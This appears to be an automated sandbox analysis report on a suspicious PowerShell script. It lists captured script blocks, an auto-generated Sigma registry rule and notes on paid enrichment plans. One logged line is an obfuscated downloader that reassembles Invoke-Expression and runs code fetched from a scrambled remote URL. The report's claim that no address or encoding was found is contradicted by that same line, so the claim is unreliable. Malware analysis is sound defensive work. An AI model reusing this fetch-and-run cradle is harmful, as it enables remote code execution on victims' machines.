command.ps1SCRIPT analysis report - Suspicious

The source was read against the 21 behaviours this platform names - file encryption, a ransom note, credential theft, persistence, a reverse shell and the rest - and none of them is in this file. That is a reading of the source, not a reading of what it would do if it ran.

3 process(es) observed

PowerShell script blocks the sample executed, as PowerShell itself logged them (event 4104) - so an encoded or Invoke-Expression-decoded payload is captured in its final, deobfuscated form, the way it actually ran.

$global:?

{ Set-StrictMode -Version 1; $_.OriginInfo }

{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }

{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }

{ Set-StrictMode -Version 1; $_.PSMessageDetails }

{$e=$e+"$_"}

powershell "$q='eovpokI-rnnsxieEs';&($($i='';($q[6,9,2,1,5,14,7,15,12,3,8,0,11,16,13,4,10])|%{$i=$i+"$_"};$i)) $(&'irm' ($($e='';('sqny/aaqtioomcosr.pnx'[5,20,9,14,2,6,0,18,11,16,8,15,17,13,10,12,4,19,7,3,1])|%{$e=$e+"$_"};$e)))"

10 captured texts were read and unwrapped locally. No address was recovered from any of them, and none of them was hiding its own contents behind an encoding or a format string. This is a result, not a gap.

These operations were captured but carry no pid this tree could match, so they are not shown against any node above.

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".

The sample ran and none of what it wrote was a payload this run kept and examined. That is a measured absence rather than an unasked question.

No operations match your filter.

External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so VirusTotal, MalwareBazaar and filescan.io are listed below as not checked. See plans.

Hash lookups only - the sample itself is never uploaded to any third party.

The Sigma corpus was evaluated against this run's processes, registry, file, network, DNS and script activity. Nothing matched.

title: Auto-generated registry behavior rule (sandbox scan 2936)
id: sandbox-auto-2936-reg
status: experimental
description: Auto-generated from sandbox scan 2936
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains:
            - '\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters'
            - 'Software\Microsoft\Tracing'
            - 'Software\Microsoft\Tracing\powershell_RASAPI32'
            - 'Software\Microsoft\Tracing\powershell_RASMANCS'
            - 'SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload'
            - 'TenantRestrictions\Payload'
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections'
    condition: selection
level: medium

Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.

An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).